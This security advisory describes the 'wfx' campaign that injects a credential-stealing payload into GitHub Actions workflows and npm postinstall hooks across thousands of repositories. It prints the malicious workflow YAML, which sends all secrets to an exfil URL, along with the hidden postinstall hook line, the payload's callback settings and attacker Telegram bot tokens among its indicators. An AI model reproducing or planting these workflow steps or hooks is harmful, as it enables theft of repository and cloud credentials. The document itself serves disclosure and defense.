wfx: GitHub Actions Credential Stealer Hits 8,000 Repos
On this page
An attacker is using stolen GitHub tokens to push a credential stealer into other people’s repositories. The stealer runs once, in GitHub Actions or on npm install, and sends the repository’s secrets and cloud credentials to the attacker. It also tries to leave backdoors in AWS and Azure that survive a secret rotation. In almost all repositories the attacker then reverts the commit, so the branch looks clean.
Aikido Security first reported the campaign(opens in new tab).
Between November 10, 2026 at 12:46 UTC and November 12 at 04:36 UTC, 8,093 repositories received malicious commits. The campaign was still active when that search ran. Two package registries serve the payload: Packagist in digitalelvis/neuronai-studio v3.14.3, and the Go module proxy in the latest version of github.com/vkuznet/gocurl. The name wfx comes from the prefix the payload puts on its files, branches and cloud objects. If your repository is in the list below, rotate every secret it can read and check your cloud accounts for backdoors.
How the attack works
The commits are authored as real users of the repository, with their noreply email and no signature, which points to stolen tokens. In 1,343 repositories the author is an account other than the owner, such as a collaborator or a bot.
The attacker first opens a pull request titled docs: dependency audit notes from a branch named wfx-docs (for example iamharidasan/great-vibes-job#2(opens in new tab)). The pull request adds a small notes file and tests whether the token can write to the repository. GitHub search shows 61,879 of these pull requests in 61,734 repositories, opened from 4,833 accounts. 91% are still open. Then the attacker plants the stealer in one of three ways:
| Method | Commit message | Repos | Runs on a developer machine |
|---|---|---|---|
| New workflow file in an empty repository | chore: add dependency audit workflow | 16 | No |
| Code added to an existing workflow | ci: refresh build cache | 7,309 | No |
npm postinstall hook | chore: add ci helper | 771 | Yeson npm install |
All three run in CI. Empty repositories have no workflow to inject into, so the attacker first pushes chore: initial commit and then the new workflow file. After the run, the attacker pushes ci: restore and ci: cleanup to remove the payload. In Panelinha-34/tech-challenge-01(opens in new tab), the payload went in at 14:01 UTC (9881b5d(opens in new tab)) and came out at 14:05 (952a565(opens in new tab)). A few repositories still have the live payload, including vkuznet/gocurl, Kellie-Brighty/Suinicate, and two with the postinstall hook still in package.json (MattiaPARRINELLO/git-quest and alexappsco/ttra-site).
The malicious workflow
The workflow runs on every push. It asks for an OIDC token (id-token: write) and for permission to set commit statuses. The first step copies the Actions runtime tokens into the job environment, and the second passes all secrets and variables to the payload as JSON.
name: Dependency Audit y82c
on:
push:
workflow_dispatch:
permissions:
contents: read
actions: read
id-token: write
statuses: write
jobs:
audit_base:
runs-on: ubuntu-latest
steps:
- name: Pass runtime
uses: actions/github-script@v7
with:
script: |
const fs = require('fs');
const ev = process.env;
const keys = ['ACTIONS_RUNTIME_TOKEN','ACTIONS_RUNTIME_URL','ACTIONS_CACHE_URL','ACTIONS_RESULTS_URL'];
const lines = keys.filter(k => ev[k]).map(k => k + '=' + ev[k]);
if (lines.length) fs.appendFileSync(ev.GITHUB_ENV, lines.join('\n') + '\n');
- name: Run audit
env:
WF_SECRETS: "${{ toJSON(secrets) }}"
WF_VARS: "${{ toJSON(vars) }}"
WF_REPO: "${{ github.repository }}"
WF_REF: "main"
WF_ENV: ""
WF_CALLBACK: "http://194.150.166.244:8080/exfil"
WF_CALLBACK2: ""
WF_CTOKEN: "b42d70a7aab9140ca19e8249"Source: masterpranay1/Country-Quiz-Challenge@9b18a65(opens in new tab).
The npm postinstall hook
The hook runs the payload on each npm install, whether on a CI runner or a developer’s laptop.
"test": "vitest run",
- "test-watch": "vitest"
+ "test-watch": "vitest",
+ "postinstall": "sh ./.ci-dwgd2n.sh >/dev/null 2>&1; _r=$?; if [ \"$_r\" -eq 42 ]; then exit 42; fi"
},What the payload steals
All three methods run the same script. It collects:
- GitHub secrets: all repository secrets and variables,
GITHUB_TOKENand the Actions runtime tokens. - Tokens in memory: it scans the runner’s process memory and environment for GitHub, AWS, OpenAI, Anthropic and other API keys.
- Credential files: cloud CLI configs,
~/.ssh,~/.gnupg, registry tokens, kubeconfig, shell history, crypto wallets and AI tool configs. - Secrets in the repository: files such as
.env,*.tfvarsand*.tfstate. - Cloud access: it requests GitHub OIDC tokens for AWS, Azure and GCP and tries to use them, even when the repository has no cloud setup. It also replays the OIDC token against HashiCorp Vault and Kubernetes APIs.
It sends the data by HTTP POST to port 8080 on 194.150.166[.]244, 18.143.168[.]96 or 153.75.82[.]159, or to a Telegram chat. In a sample of 200 payload commits, about half used the first server and a fifth used Telegram only. The code can also hide stolen data in Actions caches, artifacts and job summaries, but every sample analyzed had this switched off.
Backdoors that outlast the run
- AWS: it creates new access keys and edits role trust policies. Its sessions are named
wfx-<pid>. - Azure: it adds a federated credential named
wfx-ci-<n>to Entra app registrations. Any workflow on the repository’smainbranch can then log in to Azure as that app, even after you rotate client secrets.
The payload also has code to mark required status checks as passing, but no sample analyzed switched it on.
Package impact
Two published versions carry the full payload. A normal composer require or go get does not run it in either case.
| Package | Version | Runs on a normal install | Payload ran |
|---|---|---|---|
digitalelvis/neuronai-studio (Packagist) | v3.14.3 | No | No evidencerelease run checked out a commit without the hook |
github.com/vkuznet/gocurl (Go) | v0.0.0-20261111095532-8d5aad0cb0da | No | No0 workflow runs |
neuronai-studio v3.14.3 on Packagist
The repository has a release workflow that runs npm ci and release-it on every push to main. The attacker’s push started it, but the payload did not run there:
| Time (UTC, November 11) | Event |
|---|---|
| 12:28:41 | 79de591(opens in new tab) adds .ci-e5infq.sh. The push starts the release workflow on this commit. |
| 12:28:42 | 09470b5(opens in new tab) adds the postinstall hook. |
| 12:29:04 | The release run fails at its push step, because main has moved on. It checked out 79de591, which has no hook, so its npm ci did not run the payload. |
| 12:29:20 | 45da53a(opens in new tab) is created on top of 09470b5 and tagged v3.14.3. No Actions run produced it. The digitalelvis account pushed it at 12:29:22, and Packagist picked it up. |
| 12:29:30 | The attacker reverts with db6f527(opens in new tab) and 3576bf5(opens in new tab). The tag has already shipped. |
The release commit uses the github-actions[bot] identity that the workflow sets, but it came from outside GitHub Actions. The data does not show who ran it, the owner or the attacker. The same account also has a ci-check-2830 branch from October 20, a pattern Aikido links to an earlier wave of attacks.
The payload’s header shows its settings for this repository:
export WF_REPO='digitalelvis/neuronai-studio'
export WF_REF='main'
export WF_ENV='script'
export WF_CALLBACK='http://194.150.166.244:8080/exfil'
export WF_CALLBACK2=''
export WF_CTOKEN='b42d70a7aab9140ca19e8249'
export WF_CHUNK='8388608'
export WF_MAXFILES='111'
export WF_MAXSIZE='524288'
export WF_TARBALL='1'
export WF_HISTORY='1'
export WF_MEMSCAN='1'
export WF_GCP='1'
export WF_EXFIL_CACHE='1'
export WF_EXFIL_SUM='1'
export WF_EXFIL_ART='1'
export WF_EXFIL_LOG='0'
export WF_PRIVATE='0'
export WF_FALLBACK='0'
export WF_KEY=''WF_MEMSCAN='1' turns on the memory scan. The cache, summary and artifact channels only run when WF_PRIVATE is 1, so the data leaves by HTTP POST to 194.150.166[.]244 alone.
The release changes no PHP code. It adds .ci-e5infq.sh (1,493 lines) and the hook in package.json. That file is private and never reached npm.
| What you run | Payload runs |
|---|---|
composer require or composer install | NoComposer does not run npm hooks |
npm install or npm ci inside vendor/digitalelvis/neuronai-studio | Yes |
Block v3.14.3 and pin v3.14.2 or earlier. Packagist still serves v3.14.3 as the latest version.
gocurl on the Go module proxy
gocurl has no tags, so go get ...@latest resolves to the newest commit. That commit is the attacker’s 8d5aad0(opens in new tab), and the Go proxy now caches it for good. The commit adds 1,508 lines to .github/workflows/build.yml and touches no Go code.
The attacker left the workflow trigger alone. It only fires on a version tag:
permissions:
statuses: write
name: Build
on:
push:
tags:
- '*.*.*'The push carried no tag, and the repository has zero Actions runs, so the payload never ran. The attacker also never reverted this commit. go get, go build and go mod download do not run workflow files. The payload runs only when someone pushes an x.y.z tag on this commit, in the original repository or in a fork with Actions on. The owner should remove the injected steps before the next release. Consumers should block this pseudo-version.
A scan of 218 npm, Go and Packagist packages whose source repositories received malicious commits found no other published version with the payload. PyPI and other registries were not checked.
The payload reached 28 WebdriverIO repositories through commits authored as the bot account wdio-bot. No package release was affected. Anyone who ran npm install on those commits still ran the payload, so treat the wdio-bot token as stolen.
Affected repositories
Search the table for your organization or user name. Each row links to one malicious commit and names its commit author.
| Row | repository | indicators | first_seen_utc | last_seen_utc | malicious_commits | probe_prs | commit_authors | evidence_url |
|---|---|---|---|---|---|---|---|---|
| 1 | Alex0021/MOBR-Thymio-Time-Voyageurs | workflow_injection | 2026-11-10T12:46:19Z | 2026-11-12T02:03:15Z | 9 | 0 | rfuleiha | https://github.com/Alex0021/MOBR-Thymio-Time-Voyageurs/commit/2b1d615e88171519718b97126b01aafff79b2eaa |
| 2 | abdurrahman-akash/Agency | workflow_injection | 2026-11-10T13:02:10Z | 2026-11-12T02:03:18Z | 8 | 0 | EnamulBokshi | https://github.com/abdurrahman-akash/Agency/commit/df36d8835f573beb0ee6a7f079730f7b13f56acf |
| 3 | AmoghGupta07/Climate-Data-Analysis-System | workflow_injection | 2026-11-10T13:02:13Z | 2026-11-12T02:03:20Z | 8 | 0 | uma-vvl | https://github.com/AmoghGupta07/Climate-Data-Analysis-System/commit/f89c0d55be8f743656491c25fbec90b874d4e6df |
| 4 | varunvaghasiya11/Array_Tasks | workflow_injection | 2026-11-10T13:02:14Z | 2026-11-12T02:03:17Z | 8 | 0 | varunvaghasiya11 | https://github.com/varunvaghasiya11/Array_Tasks/commit/24df9b195989bdd569c43243d6e0e4ab0c55f5cf |
| 5 | mohamedkanaani/Arduino | workflow_injection | 2026-11-10T13:02:15Z | 2026-11-12T02:03:16Z | 8 | 0 | mohamedkanaani | https://github.com/mohamedkanaani/Arduino/commit/b856be52be379109a848c26017f303878d10455b |
| 6 | dhanapal4/health-care-portal | workflow_injection | 2026-11-10T13:02:15Z | 2026-11-12T02:03:18Z | 8 | 0 | JKS-sys | https://github.com/dhanapal4/health-care-portal/commit/1c8f4471e6b18aa11965daf73eff6ba2943bf52e |
| 7 | abhishekibef/genvest-backend | workflow_injection | 2026-11-10T13:02:15Z | 2026-11-12T02:03:15Z | 9 | 0 | abhishekibef | https://github.com/abhishekibef/genvest-backend/commit/bf5e4bec76a20a810a1291870f18d6af4971ef47 |
| 8 | AlexandreLefay/arosaje-backend | workflow_injection | 2026-11-10T13:02:15Z | 2026-11-12T02:03:17Z | 8 | 0 | MatthieuDeroir | https://github.com/AlexandreLefay/arosaje-backend/commit/8bc76c608c304ab71fd13b023d8c74b61334295c |
| 9 | DexxoDev/arsenal | workflow_injection | 2026-11-10T13:02:15Z | 2026-11-12T02:03:17Z | 9 | 0 | DexxoDev | https://github.com/DexxoDev/arsenal/commit/280fffe8d7acaf69fcd48aa7ed0cfa7683bf771c |
| 10 | Devam0416/100-Days-Of-Code | workflow_injection | 2026-11-10T13:02:15Z | 2026-11-12T02:03:17Z | 8 | 0 | Devam0416 | https://github.com/Devam0416/100-Days-Of-Code/commit/64f03fbb9299aa0c94c6173113a2cd6fbb7be261 |
| 11 | coldwater78910/Family_Recipes | workflow_injection | 2026-11-10T13:02:16Z | 2026-11-12T02:03:20Z | 8 | 0 | coldwater78910 | https://github.com/coldwater78910/Family_Recipes/commit/b1ff7121ff40414f278c7aa8f5afc0cab6ea0a59 |
| 12 | RaoMehdiHassan/Amazon-Product-Display | workflow_injection | 2026-11-10T13:02:16Z | 2026-11-12T02:03:18Z | 8 | 0 | RaoMehdiHassan | https://github.com/RaoMehdiHassan/Amazon-Product-Display/commit/a76b9e376c52a32408427d4a072ad08f072882b9 |
| 13 | GodLink-Software/gdr | workflow_injection | 2026-11-10T13:02:16Z | 2026-11-12T02:03:15Z | 8 | 0 | jsged | https://github.com/GodLink-Software/gdr/commit/d699e79e10a7082df7d67ab95f205220382373e2 |
| 14 | Debbatisudheer/-Kruskal-s-Algorithm | workflow_injection | 2026-11-10T13:02:16Z | 2026-11-12T02:03:18Z | 8 | 0 | Debbatisudheer | https://github.com/Debbatisudheer/-Kruskal-s-Algorithm/commit/0df81ce317e9ae1fab2af41e60a60d7bdfe11cee |
| 15 | dustingolding/devops-practice | workflow_injection | 2026-11-10T13:02:30Z | 2026-11-12T02:03:14Z | 8 | 0 | dustingolding | https://github.com/dustingolding/devops-practice/commit/10588f77f4eb15180c9c25688559d6b6d8934cf3 |
| 16 | TestAccount4742/bible_translations | workflow_injection | 2026-11-10T13:02:31Z | 2026-11-12T02:03:17Z | 8 | 0 | TestAccount4742 | https://github.com/TestAccount4742/bible_translations/commit/296c2f74cf98900c2b7d366946f8b3fbd0c258fa |
| 17 | Apokharel8611/SEF | workflow_injection | 2026-11-10T13:02:31Z | 2026-11-12T02:03:15Z | 8 | 0 | arpanpokharel07 | https://github.com/Apokharel8611/SEF/commit/654ab7409e8cc37aa9cd830ac5136bc9cc5c57af |
| 18 | Abhishek2127/Employee-management-system | workflow_injection | 2026-11-10T13:02:35Z | 2026-11-12T02:03:20Z | 8 | 0 | Abhishek2127 | https://github.com/Abhishek2127/Employee-management-system/commit/b1dfcdec09b389ef5ec744964ef17fce0fec6bc2 |
| 19 | 0-pavand/0-pavand | workflow_injection | 2026-11-10T13:02:37Z | 2026-11-12T02:03:20Z | 8 | 0 | 0-pavand | https://github.com/0-pavand/0-pavand/commit/656e6703b55ab3f9b537d6fbbcf4969a2c53cbc3 |
| 20 | BiggerestBoyest/IoTBay | workflow_injection | 2026-11-10T13:02:38Z | 2026-11-12T02:03:19Z | 8 | 0 | jdg0812 | https://github.com/BiggerestBoyest/IoTBay/commit/fe5d6cc7f8f14aaf2e76e8e42b15617e93768e9d |
The list comes from GitHub search, which only covers the default branch of public repositories. Private repositories and other branches are missing, so the true total is higher. Repositories that only got the probe pull request are not in the list either. All 76 sampled commits from the list, across the three methods, contained the payload.
If your repository is in the list
A probe pull request on its own means the account is compromised, even if no payload commit followed.
- Revoke the commit author’s tokens, OAuth app grants, SSH keys and sessions, and turn on 2FA. That account is the likely entry point.
- Rotate every secret and variable the repository can read, including environment and organization secrets. Rotate any key the runner could reach.
- Delete the
wfx-docsbranch and close the probe pull request. - Pull any package version built between the malicious commit and the
ci: cleanupcommit. Publish again from a clean commit. - If someone ran
npm installon an affected commit, treat that machine as compromised and rotate its keys.
Check for cloud backdoors
- Entra ID: federated credentials named
wfx-ci-*that you did not create. - AWS CloudTrail:
AssumeRoleWithWebIdentityorAssumeRolewith session namewfx-*, thenCreateAccessKeyorUpdateAssumeRolePolicyfrom those sessions. - GCP:
GenerateAccessTokenandSignJwtcalls from your GitHub workload identity pool. - Vault: JWT logins from the GitHub OIDC issuer.
Indicators of compromise
| Row | type | indicator | description | vector | confidence | source_sample |
|---|---|---|---|---|---|---|
| 1 | ipv4 | 194.150.166.244 | Exfil callback server (HTTP POST on port 8080) | new_workflow | high | masterpranay1/Country-Quiz-Challenge@9b18a65; fbt0wizard/select-wizard@f704070 |
| 2 | url | http://194.150.166.244:8080/exfil | WF_CALLBACK exfil endpoint | new_workflow | high | masterpranay1/Country-Quiz-Challenge@9b18a65 |
| 3 | ipv4 | 18.143.168.96 | Exfil callback server (HTTP POST on port 8080; AWS ap-southeast-1 range) - cloud-hosted IP, may be reassigned; age out | npm_postinstall | high | Panelinha-34/tech-challenge-01@9881b5d |
| 4 | url | http://18.143.168.96:8080/exfil | WF_CALLBACK exfil endpoint | npm_postinstall | high | Panelinha-34/tech-challenge-01@9881b5d |
| 5 | campaign_token | b42d70a7aab9140ca19e8249 | WF_CTOKEN sent with exfil to 194.150.166.244 | new_workflow | high | masterpranay1/Country-Quiz-Challenge@9b18a65 |
| 6 | campaign_token | e6ny5telf3pht81qk5zv | WF_CTOKEN sent with exfil to 18.143.168.96 | npm_postinstall | high | Panelinha-34/tech-challenge-01@9881b5d |
| 7 | telegram_chat_id | -1004340163187 | Attacker Telegram chat receiving stolen archives (WF_TG_CHAT) | workflow_injection | high | chrisvillegas/docs-a2vvrm@8fea35f |
| 8 | telegram_bot_token | 8708988906:AAEUhuTA6uigm_aBwr1RZq4vVmZfcdH48Gk | Attacker bot token (WF_TG_BOTS) - report to Telegram abuse; do not use | workflow_injection | high | chrisvillegas/docs-a2vvrm@8fea35f |
| 9 | telegram_bot_token | 9196217635:AAGMs4Xpp9jc88BFgLrG7eiDJ9Z2185VTFQ | Attacker bot token (WF_TG_BOTS) - report to Telegram abuse; do not use | workflow_injection | high | chrisvillegas/docs-a2vvrm@8fea35f |
| 10 | telegram_bot_token | 9180059428:AAE0sPUWEFHYu0GdmkNosAxSUW6kXSX8zFM | Attacker bot token (WF_TG_BOTS) - report to Telegram abuse; do not use | workflow_injection | high | chrisvillegas/docs-a2vvrm@8fea35f |
| 11 | telegram_bot_token | 8902935164:AAH36TLSoy8AYpj2c-0VCXP2DNfMkjIxYHs | Attacker bot token (WF_TG_BOTS) - report to Telegram abuse; do not use | workflow_injection | high | chrisvillegas/docs-a2vvrm@8fea35f |
| 12 | telegram_bot_token | 8876515636:AAELKJEqcMp9r6hVB83TZ_lfhlZsnzqNZcQ | Attacker bot token (WF_TG_BOTS) - report to Telegram abuse; do not use | workflow_injection | high | chrisvillegas/docs-a2vvrm@8fea35f |
| 13 | commit_message | chore: add dependency audit workflow | Adds new malicious workflow file | new_workflow | high | masterpranay1/Country-Quiz-Challenge@9b18a65 |
| 14 | commit_message | ci: refresh build cache | Injects payload into an existing workflow file (generic wording - verify diff) | workflow_injection | medium | chrisvillegas/docs-a2vvrm@8fea35f |
| 15 | commit_message | chore: add ci helper | Pair of commits: adds .ci-<6>.sh and a package.json postinstall hook | npm_postinstall | high | Panelinha-34/tech-challenge-01@9881b5d / @151af5f |
| 16 | pr_title | docs: dependency audit notes | Probe PR opened from victim account into own repo | probe_pr | high | iamharidasan/great-vibes-job#2 |
| 17 | pr_body | Routine dependency audit notes. | Probe PR body | probe_pr | high | iamharidasan/great-vibes-job#2 |
| 18 | branch | wfx-docs | Probe PR head branch | probe_pr | high | iamharidasan/great-vibes-job#2 |
| 19 | branch_pattern | chore/[a-z0-9]{8} | Reported campaign branch (not seen in samples analysed) | unknown | reported | user-supplied indicator |
| 20 | branch_pattern | ci-check-[0-9]{4} | Reported campaign branch (not seen in samples analysed) | unknown | reported | user-supplied indicator |
The analysis covers four payload samples: masterpranay1/Country-Quiz-Challenge@9b18a65(opens in new tab), fbt0wizard/select-wizard@f704070(opens in new tab), Panelinha-34/tech-challenge-01@9881b5d(opens in new tab) and chrisvillegas/docs-a2vvrm@8fea35f(opens in new tab). The branch patterns chore/[a-z0-9]{8} and ci-check-[0-9]{4} come from an outside report and do not appear in these samples.
Related reading
- Megalodon: Mass GitHub Repo Backdooring via CI Workflows, an earlier campaign that also replaced workflows to steal secrets.
- prt-scan GitHub Actions exfiltration campaign, which used pull requests to steal CI credentials.
- nx Build System Compromise, where a
postinstallhook stole developer credentials.
- supply-chain
- github-actions
- malware
- ci-cd
- secret-exfiltration
- npm
Author
safedep.io
